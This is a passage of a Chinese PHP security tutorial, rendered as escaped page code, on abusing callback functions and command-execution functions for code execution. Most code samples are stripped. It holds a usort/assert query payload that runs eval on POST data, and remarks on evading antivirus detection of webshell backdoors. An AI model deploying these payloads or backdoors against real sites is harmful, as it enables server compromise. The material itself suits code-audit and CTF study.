u4f60\u672c\u6765\u6709\u4e00\u4e2a\u6570\u7ec4\uff0c\u7136\u540e\u6211\u901a\u8fc7",(0,r.jsx)(e.code,{children:"array_map"}),"\u51fd\u6570\u5c06\u4f60\u8fd9\u4e2a\u6570\u7ec4\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002\u89c1\u4e0b\u56fe\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648091.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\narray(5) {\n [0]=>\n int(1)\n [1]=>\n int(4)\n [2]=>\n int(9)\n [3]=>\n int(16)\n [4]=>\n int(25)\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u5927\u6982\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u8c03\u7528\u56de\u8c03\u51fd\u6570\uff08\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff09\u6765\u5b9e\u73b0\u5bf9\u73b0\u6709\u6570\u7ec4\u7684\u64cd\u4f5c\uff0c\u4ece\u800c\u5f97\u5230\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u529f\u80fd\u6211\u77e5\u9053\u4e86\uff0c\u53ef\u662f\u8fd9\u4e2a\u548c\u4ee3\u7801\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u5982\u4f55\u80fd\u591f\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u4ee3\u7801\u5462\uff1f\u4e14\u770b\u4e0b\u9762\u6240\u793a\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\narray(1) {\n [0]=>\n string(21) \"desktop-m61j5j6\\admin\"\n}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\uff0c\u901a\u8fc7",(0,r.jsx)(e.code,{children:"array_map()"}),"\u8fd9\u4e2a\u51fd\u6570\uff0c\u6765\u8c03\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff0c\u800c\u7528\u6237\u8fd9\u91cc\u7684\u56de\u8c03\u51fd\u6570\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(e.code,{children:"system"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u5c31\u76f8\u5f53\u4e8e\u6211\u4eec\u7528",(0,r.jsx)(e.code,{children:"system"}),"\u51fd\u6570\u6765\u5bf9\u65e7\u6570\u7ec4\u8fdb\u884c\u64cd\u4f5c\uff0c\u5f97\u5230\u65b0\u7684\u6570\u7ec4\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65b0\u7684\u6570\u7ec4\u7684\u7ed3\u679c\u5c31\u662f\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u4e86\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"call_user_func",children:"call_user_func()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"call_user_func()"}),"\u662f\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-3",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.p,{children:["\u7b2c\u4e00\u4e2a\u53c2\u6570",(0,r.jsx)(e.code,{children:"callback"}),"\u662f\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5176\u4f59\u53c2\u6570\u662f\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570\u3002"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"callback\uff1a\u5373\u5c06\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(e.li,{children:"parameter\uff1a\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8fd8\u662f\u975e\u5e38\u597d\u7406\u89e3\u7684\uff0c\u770b\u4e00\u6bb5\u7b80\u5355\u7684\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570```\n\n\n\u53ef\u4ee5\u770b\u5230\u6b64\u51fd\u6570\u4f5c\u7528\u5c31\u662f\u8c03\u7528\u4e86\u7b14\u8005\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u3002\u90a3\u4e48\u8fd9\u4e2a\u5982\u4f55\u5b9e\u73b0\u4ee3\u7801\u6267\u884c\u5462\uff1f\u597d\u8bf4\uff0c\u4f60\u5728\u524d\u9762\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u4e2d\u52a0\u5165\u80fd\u6267\u884c\u547d\u4ee4\u7684\u4ee3\u7801\u4e0d\u4e45\u53ef\u4ee5\u4ee3\u7801\u6267\u884c\u4e86\u3002\n\n\u793a\u4f8b\u4ee3\u7801\uff1a\n\n```php\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"call_user_func_array",children:"call_user_func_array()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u540d\u79f0\u8ddf\u4e0a\u6ca1\u4ec0\u4e48\u5927\u7684\u5dee\u522b\uff0c\u552f\u4e00\u7684\u533a\u522b\u5c31\u5728\u4e8e\u53c2\u6570\u7684\u4f20\u9012\u4e0a\uff0c\u8fd9\u4e2a\u51fd\u6570\u662f\u628a\u4e00\u4e2a\u6570\u7ec4\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"call_user_func_array( callable $callback, array $param_arr) : mixed\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-4",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"callback\uff1a\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570"}),"\n",(0,r.jsx)(e.li,{children:"param_arr\uff1a\u8981\u88ab\u4f20\u5165\u56de\u8c03\u51fd\u6570\u7684\u6570\u7ec4\uff0c\u8fd9\u4e2a\u6570\u7ec4\u9700\u8981\u662f\u7d22\u5f15\u6570\u7ec4"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\n\u6211\u662f\u53c2\u6570\u6211\u662f\u53c2\u6570```\n\n\n\u793a\u4f8b\u4ee3\u7801\uff1a\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"array_filter",children:"array_filter()"}),"\n",(0,r.jsx)(e.p,{children:"\u7528\u56de\u8c03\u51fd\u6570\u8fc7\u6ee4\u6570\u6570\u7ec4\u4e2d\u7684\u5355\u5143"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u4f9d\u6b21\u5c06",(0,r.jsx)(e.code,{children:"array"}),"\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u503c\u4f20\u5230",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u3002\u5982\u679c",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\u8fd4\u56de",(0,r.jsx)(e.code,{children:"true"}),"\uff0c\u5219",(0,r.jsx)(e.code,{children:"array"}),"\u6570\u7ec4\u7684\u5f53\u524d\u503c\u4f1a\u88ab\u5305\u542b\u5728\u8fd4\u56de\u7684\u7ed3\u679c\u6570\u7ec4\u4e2d\u3002\u6570\u7ec4\u7684\u952e\u540d\u4fdd\u7559\u4e0d\u53d8\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-5",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u8981\u5faa\u73af\u7684\u6570\u7ec4"}),"\n",(0,r.jsxs)(e.li,{children:["callback\uff1a\u4f7f\u7528\u7684\u56de\u8c03\u51fd\u6570\u3002\u5982\u679c\u6ca1\u6709\u63d0\u4f9b",(0,r.jsx)(e.code,{children:"callback"}),"\u51fd\u6570\uff0c\u5c06\u5220\u9664",(0,r.jsx)(e.code,{children:"array"}),"\u4e2d\u6240\u6709\u7b49\u503c\u4e3aFALSE\u7684\u6761\u76ee\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["flag\uff1a\u51b3\u5b9a",(0,r.jsx)(e.code,{children:"callback"}),"\u63a5\u6536\u7684\u53c2\u6570\u5f62\u5f0f"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff08\u8fd9\u91cc\u770b\u5b98\u65b9\u7684\u5c31\u884c\uff0c\u5f88\u8be6\u7ec6\uff09\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);\n$array2 = array(6, 7, 8, 9, 10, 11, 12);\n\necho "Odd :\\n";\nprint_r(array_filter($array1, "odd"));\necho "Even:\\n";\nprint_r(array_filter($array2, "even"));\n?> \n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nOdd :\nArray\n(\n [a] => [c] => [e] => )\nEven:\nArray\n(\n [0] => [2] => [4] => [6] => )\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u4ee3\u7801\u6211\u4eec\u77e5\u9053\uff0c\u8fd9\u4e2a\u51fd\u6570\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u8fc7\u6ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8fc7\u6ee4\u8c03\u7528\u7684\u662f\u51fd\u6570\uff0c\u800c\u88ab\u8fc7\u6ee4\u7684\u662f\u4f20\u5165\u7684\u53c2\u6570\u3002\u5230\u8fd9\u91cc\u4f60\u5fc3\u91cc\u6709\u6ca1\u6709\u4ee3\u7801\u6267\u884c\u7684\u96cf\u5f62\u4e86\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"usort",children:"usort()"}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u6bd4\u8f83\u51fd\u6570\u5bf9\u6570\u7ec4\u4e2d\u7684\u503c\u8fdb\u884c\u6392\u5e8f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"usort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-6",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(e.li,{children:"cmp_function\uff1a\u5728\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e\u7b2c\u4e8c\u4e2a\u53c2\u6570\u65f6\uff0c\u8be5\u6bd4\u8f83\u51fd\u6570\u5fc5\u987b\u76f8\u5e94\u5730\u8fd4\u56de\u4e00\u4e2a\u5c0f\u4e8e\u3001\u7b49\u4e8e\u6216\u5927\u4e8e0\u7684\u6570"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [0] => [1] => [2] => [3] => [4] => )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u89c1\u5b9e\u73b0\u4e86\u9006\u5e8f\u7684\u529f\u80fd\u3002\u90a3\u4e48\u5018\u82e5\u6211\u4eec\u628a\u56de\u8c03\u51fd\u6570\u8bbe\u8ba1\u6210\u80fd\u591f\u6267\u884c\u4ee3\u7801\u7684\u51fd\u6570\uff0c\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u6267\u884c\u6211\u4eec\u60f3\u8981\u7684\u4ee3\u7801\u4e86\u5462\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\npayload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert\nPOST\u4f20\u53c2: x=phpinfo();\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"usort"}),"\u7684\u53c2\u6570\u901a\u8fc7GET\u4f20\u53c2\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(e.code,{children:"$_GET[0]"}),"\uff0c\u968f\u4fbf\u4f20\u5165\u4e00\u4e2a\u6570\u5b57\u5373\u53ef\u3002\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f",(0,r.jsx)(e.code,{children:"$_GET[1]"}),"\u662f\u6211\u4eec\u8981\u8c03\u7528\u7684\u51fd\u6570\u540d\u79f0\uff0c\u8fd9\u91cc\u91c7\u7528\u7684\u662f",(0,r.jsx)(e.code,{children:"assert"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648092.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"uasort",children:"uasort()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u8ddf\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\uff0c\u533a\u522b\u4e0d\u662f\u5f88\u5927\u3002\u6b64\u51fd\u6570\u5bf9\u6570\u7ec4\u6392\u5e8f\u5e76\u4fdd\u6301\u7d22\u5f15\u548c\u5355\u5143\u4e4b\u95f4\u7684\u5173\u8054\u3002\u4e5f\u5c31\u662f\u8bf4\u4f60\u8fd9\u4e2a\u6392\u5b8c\u5e8f\u4e4b\u540e\u5462\uff0c\u5b83\u539f\u6765\u5bf9\u5e94\u7684\u7d22\u5f15\u4e5f\u4f1a\u76f8\u5e94\u6539\u53d8\uff0c\u7c7b\u4f3c\u4e8e\u201c\u7ed1\u5b9a\u201d\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"uasort( array &$array, callable $value_compare_func) : bool\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-7",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u8f93\u5165\u7684\u6570\u7ec4"}),"\n",(0,r.jsx)(e.li,{children:"value_compare_func\uff1a\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u91cc\u7528\u7684\u4ecd\u7136\u5b98\u65b9\u4f8b\u5b50\uff08\u6bd4\u8f83\u597d\u7406\u89e3\uff09"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);\nprint_r($array);\n\n// Sort and print the resulting array\nuasort($array, 'cmp');\nprint\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)\nArray\n(\n [d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u53d1\u73b0\uff0c\u5728\u6392\u5b8c\u5e8f\u4e4b\u540e\u7d22\u5f15\u4e5f\u8ddf\u7740\u503c\u7684\u4f4d\u7f6e\u53d8\u5316\u800c\u53d8\u5316\u4e86\u3002\u90a3\u4e48\u4ee3\u7801\u6267\u884c\u7684\u793a\u4f8b\u4ee3\u7801\u5176\u5b9e\u4e5f\u548c\u4e0a\u4e00\u4e2a\u5dee\u4e0d\u591a\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648093.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u770b\u5b8c\u8fd9\u91cc\u4e0d\u77e5\u9053\u4f60\u5bf9\u4ee3\u7801\u5ba1\u8ba1\u4e2d\u7684\u4ee3\u7801\u6267\u884c\u90e8\u5206\u662f\u5426\u6709\u53e6\u4e00\u79cd\u60f3\u6cd5\uff1f\u6211\u7684\u60f3\u6cd5\u5c31\u662f\u8fd9\u4e2a\u662f\u548c\u540e\u95e8\u8054\u7cfb\u5728\u4e00\u8d77\u7684\u3002\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u51fd\u6570\u90fd\u5177\u6709\u6784\u9020\u6267\u884c\u547d\u4ee4\u7684\u6761\u4ef6\uff0c\u800c\u4e14\u5176\u4e2d\u5f88\u591a\u51fd\u6570\u4e5f\u7684\u786e\u88ab\u7528\u5728\u540e\u95e8\u4e2d\uff0c\u7279\u522b\u50cf\u540e\u9762\u51e0\u4e2a\u56de\u8c03\u51fd\u6570\uff0c\u5728\u540e\u95e8\u4e2d\u66f4\u662f\u5e38\u89c1\u3002\u5f53\u7136\u8fd9\u4e9b\u540e\u95e8\u51fd\u6570\u4e5f\u65e9\u5df2\u88ab\u5b89\u5168\u5382\u5546\u76ef\u4f4f\uff0c\u6240\u4ee5\u5927\u90e8\u5206\u5df2\u7ecf\u65e0\u6cd5\u76f4\u63a5\u514d\u6740\uff0c\u6240\u4ee5\u60f3\u8981\u514d\u6740\u5c31\u9700\u8981\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\uff0c\u6bd4\u5982\u66ff\u6362\u3001\u62fc\u63a5\u3001\u52a0\u5bc6\u7b49\u7b49\u3002\u4f46\u662f\u8fd9\u4e9b\u77e5\u8bc6\u5728CTF\u4e2d\u8fd8\u662f\u6bd4\u8f83\u5bb9\u6613\u51fa\u73b0\u7684\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u547d\u4ee4\u6267\u884c",children:"\u547d\u4ee4\u6267\u884c"}),"\n",(0,r.jsx)(e.p,{children:"\u8bf4\u5b8c\u4ee3\u7801\u6267\u884c\uff0c\u6211\u4eec\u518d\u6765\u770b\u770b\u547d\u4ee4\u6267\u884c\u3002\u5e38\u89c1\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(e.h3,{id:"system",children:"system()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u60f3\u5fc5\u6211\u4eec\u90fd\u662f\u6bd4\u8f83\u719f\u6089\u7684\uff0c\u6b64\u51fd\u6570\u5c31\u662f\u6267\u884c\u5916\u90e8\u6307\u4ee4\uff0c\u5e76\u4e14\u663e\u793a\u8f93\u51fa"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"system( string $command[, int &$return_var] ) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-8",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u82e5\u8bbe\u7f6e\u4e86\u8fd9\u4e2a\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u540e\u7684\u8fd4\u56de\u72b6\u6001\u5c31\u4f1a\u88ab\u653e\u5230\u8fd9\u4e2a\u53d8\u91cf\u4e2d"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"exec",children:"exec()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u5176\u5b9e\u548c\u4e0a\u9762",(0,r.jsx)(e.code,{children:"system"}),"\u51fd\u6570\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u90fd\u662f\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u6307\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u51fd\u6570\u591a\u4e86\u4e00\u4e2a\u53c2\u6570\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u628a\u547d\u4ee4\u6267\u884c\u8f93\u51fa\u7684\u7ed3\u679c\u4fdd\u5b58\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"exec( string $command[, array &$output[, int &$return_var]] ) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-9",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u5fc5\u9700\u3002\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"output\uff1a\u53ef\u9009\u3002\u5982\u679c\u8bbe\u7f6e\u4e86\u6b64\u53c2\u6570\uff0c\u90a3\u4e48\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u5c06\u4f1a\u4fdd\u5b58\u5230\u6b64\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"return_var\uff1a\u53ef\u9009\u3002\u547d\u4ee4\u6267\u884c\u7684\u8fd4\u56de\u72b6\u6001\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"shell_exec",children:"shell_exec()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u901a\u8fc7shell\u73af\u5883\u6267\u884c\u547d\u4ee4\uff0c\u5e76\u4e14\u5c06\u5b8c\u6574\u7684\u8f93\u51fa\u4ee5\u5b57\u7b26\u4e32\u7684\u65b9\u5f0f\u8fd4\u56de\u3002\u5982\u679c\u6267\u884c\u8fc7\u7a0b\u4e2d\u53d1\u751f\u9519\u8bef\u6216\u8005\u8fdb\u7a0b\u4e0d\u4ea7\u751f\u8f93\u51fa\uff0c\u90a3\u4e48\u5c31\u8fd4\u56de",(0,r.jsx)(e.code,{children:"NULL"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"shell_exec( string $cmd) : string\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-10",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(e.h3,{id:"passthru",children:"passthru()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6267\u884c\u5916\u90e8\u7a0b\u5e8f\u5e76\u4e14\u663e\u793a\u539f\u59cb\u8f93\u51fa\u3002\u65e2\u7136\u6211\u4eec\u5df2\u7ecf\u6709\u6267\u884c\u547d\u4ee4\u7684\u51fd\u6570\u4e86\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u6211\u4eec\u4ec0\u4e48\u65f6\u5019\u4f1a\u7528\u5230\u5462\uff1f\u5f53\u6240\u6267\u884c\u7684Unix\u547d\u4ee4\u8f93\u51fa\u4e8c\u8fdb\u5236\u6570\u636e\uff0c\u5e76\u4e14\u9700\u8981\u76f4\u63a5\u4f20\u9001\u5230\u6d4f\u89c8\u5668\u7684\u65f6\u5019\uff0c\u9700\u8981\u7528\u6b64\u51fd\u6570\u6765\u66ff\u4ee3",(0,r.jsx)(e.code,{children:"exec()"}),"\u6216",(0,r.jsx)(e.code,{children:"system()"}),"\u51fd\u6570"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"passthru( string $command[, int &$return_var] ) : void\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-11",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"return_var\uff1aUnix\u547d\u4ee4\u7684\u8fd4\u56de\u72b6\u6001\u5c06\u88ab\u8bb0\u5f55\u5230\u6b64\u51fd\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\u7b2c\u4e00\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n\u7b2c\u4e8c\u4f60\u53ef\u4ee5\u8fd9\u4e48\u5199\n\n"})}),"\n",(0,r.jsx)(e.h3,{id:"pcntl_exec",children:"pcntl_exec()"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u5f53\u524d\u8fdb\u7a0b\u7a7a\u95f4\u6267\u884c\u6307\u5b9a\u7a0b\u5e8f\u3002\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u8fdb\u7a0b\u7a7a\u95f4\uff0c\u5018\u82e5\u6211\u73b0\u5728\u8bbe\u5b9a\u4e00\u4e2a\u6761\u4ef6\uff0c\u4f60\u53ea\u6709\u5728\u67d0\u4e2a\u5b50\u8fdb\u7a0b\u4e2d\u624d\u80fd\u8bfb\u53d6phpinfo\uff0c\u90a3\u8fd9\u4e2a\u65f6\u5019\uff0c\u6211\u4eec\u5c31\u9700\u8981\u7528\u5230\u8fd9\u4e2a\u51fd\u6570\u4e86\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"pcntl_exec( string $path[, array $args[, array $envs]] ) : 